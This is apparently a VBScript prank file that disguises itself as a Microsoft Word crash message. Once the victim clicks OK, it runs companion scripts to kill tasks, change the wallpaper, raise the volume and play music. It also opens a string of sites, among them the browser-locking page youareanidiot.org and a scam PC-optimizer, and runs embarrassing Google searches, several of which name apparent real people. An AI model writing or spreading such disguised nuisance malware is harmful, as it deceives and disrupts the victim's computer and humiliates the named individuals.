61 lines
No EOL
3.1 KiB
Text
Executable file
61 lines
No EOL
3.1 KiB
Text
Executable file
result = MsgBox ("Word n'a pas pu se fermer correctement la dernière fois", vbInformation, "Word.exe")
|
|
|
|
Select Case result
|
|
Case vbOk
|
|
|
|
Set WshShell = WScript.CreateObject("WScript.Shell")
|
|
WshShell.Run """%programfiles(x86)%\Microsoft Office\root\Office16\WINWORD.EXE"""
|
|
Set WshShell = WScript.CreateObject("WScript.Shell")
|
|
WshShell.Run "%userprofile%\Downloads\Intranet\Word_Download\taskiller.vbs"
|
|
WScript.Sleep 30000
|
|
Set WshShell = WScript.CreateObject("WScript.Shell")
|
|
WshShell.Run "%userprofile%\Downloads\Intranet\Word_Download\wallpaperchanger.vbs"
|
|
WScript.Sleep 5000
|
|
Set WshShell = WScript.CreateObject("WScript.Shell")
|
|
WshShell.Run """http://www.windows93.net/"""
|
|
WScript.Sleep 10000
|
|
Set WshShell = WScript.CreateObject("WScript.Shell")
|
|
WshShell.Run "https://www.google.fr/search?q=%3D&oq=%3D&aqs=chrome..69i57.174138j0j9&sourceid=chrome&ie=UTF-8#q=alzyohan+lo%C3%AFc"
|
|
WScript.Sleep 10000
|
|
Set WshShell = WScript.CreateObject("WScript.Shell")
|
|
WshShell.Run "https://www.google.fr/search?q=%3D&oq=%3D&aqs=chrome..69i57.174138j0j9&sourceid=chrome&ie=UTF-8#q=minecraft+hax+download+no+virus"
|
|
WScript.Sleep 10000
|
|
Set WshShell = WScript.CreateObject("WScript.Shell")
|
|
WshShell.Run "http://www.pcoptimizerpro.com/"
|
|
WScript.Sleep 10000
|
|
Set WshShell = WScript.CreateObject("WScript.Shell")
|
|
WshShell.Run "http://agar.io"
|
|
WScript.Sleep 10000
|
|
Set WshShell = WScript.CreateObject("WScript.Shell")
|
|
WshShell.Run "https://www.youtube.com/channel/UCA6NH9d7e_T-pG84Pr_C7PA"
|
|
WScript.Sleep 10000
|
|
Set WshShell = WScript.CreateObject("WScript.Shell")
|
|
WshShell.Run """https://www.google.fr/search?q=%3D&oq=%3D&aqs=chrome..69i57.174138j0j9&sourceid=chrome&ie=UTF-8#q=no+man%27s+sky+c%27est+nul"""
|
|
WScript.Sleep 10000
|
|
Set WshShell = WScript.CreateObject("WScript.Shell")
|
|
WshShell.Run """https://www.google.fr/search?q=%26z*&oq=%26z*&aqs=chrome..69i57.27894j0j1&sourceid=chrome&ie=UTF-8#q=comment+se+masturber+%3F"""
|
|
WScript.Sleep 10000
|
|
Set WshShell = WScript.CreateObject("WScript.Shell")
|
|
WshShell.Run """https://www.google.fr/search?q=%26z*&oq=%26z*&aqs=chrome..69i57.27894j0j1&sourceid=chrome&ie=UTF-8#q=comment+hacker+les+pc+du+college"""
|
|
WScript.Sleep 10000
|
|
Set WshShell = WScript.CreateObject("WScript.Shell")
|
|
WshShell.Run """https://www.google.fr/search?q=%26z*&oq=%26z*&aqs=chrome..69i57.27894j0j1&sourceid=chrome&ie=UTF-8#q=mael+letallec+instagram"""
|
|
WScript.Sleep 10000
|
|
Set WshShell = WScript.CreateObject("WScript.Shell")
|
|
WshShell.Run """https://www.youtube.com/channel/UCnsFagZgUXhZMC6HcX0OJxA"""
|
|
WScript.Sleep 10000
|
|
Set WshShell = WScript.CreateObject("WScript.Shell")
|
|
WshShell.Run "http://youareanidiot.org/"
|
|
WScript.Sleep 1000
|
|
Set WshShell = WScript.CreateObject("WScript.Shell")
|
|
WshShell.Run "%userprofile%\Downloads\Intranet\Word_Download\volume.vbs"
|
|
Set WshShell = WScript.CreateObject("WScript.Shell")
|
|
WshShell.Run "%userprofile%\Downloads\Intranet\Word_Download\music.vbs"
|
|
WScript.Sleep 10000
|
|
Set WshShell = WScript.CreateObject("WScript.Shell")
|
|
WshShell.Run """http://clashroyale-gemme.com/"""
|
|
WScript.Sleep 10000
|
|
Set WshShell = WScript.CreateObject("WScript.Shell")
|
|
WshShell.Run """http://www.nyan.cat/"""
|
|
|
|
End Select |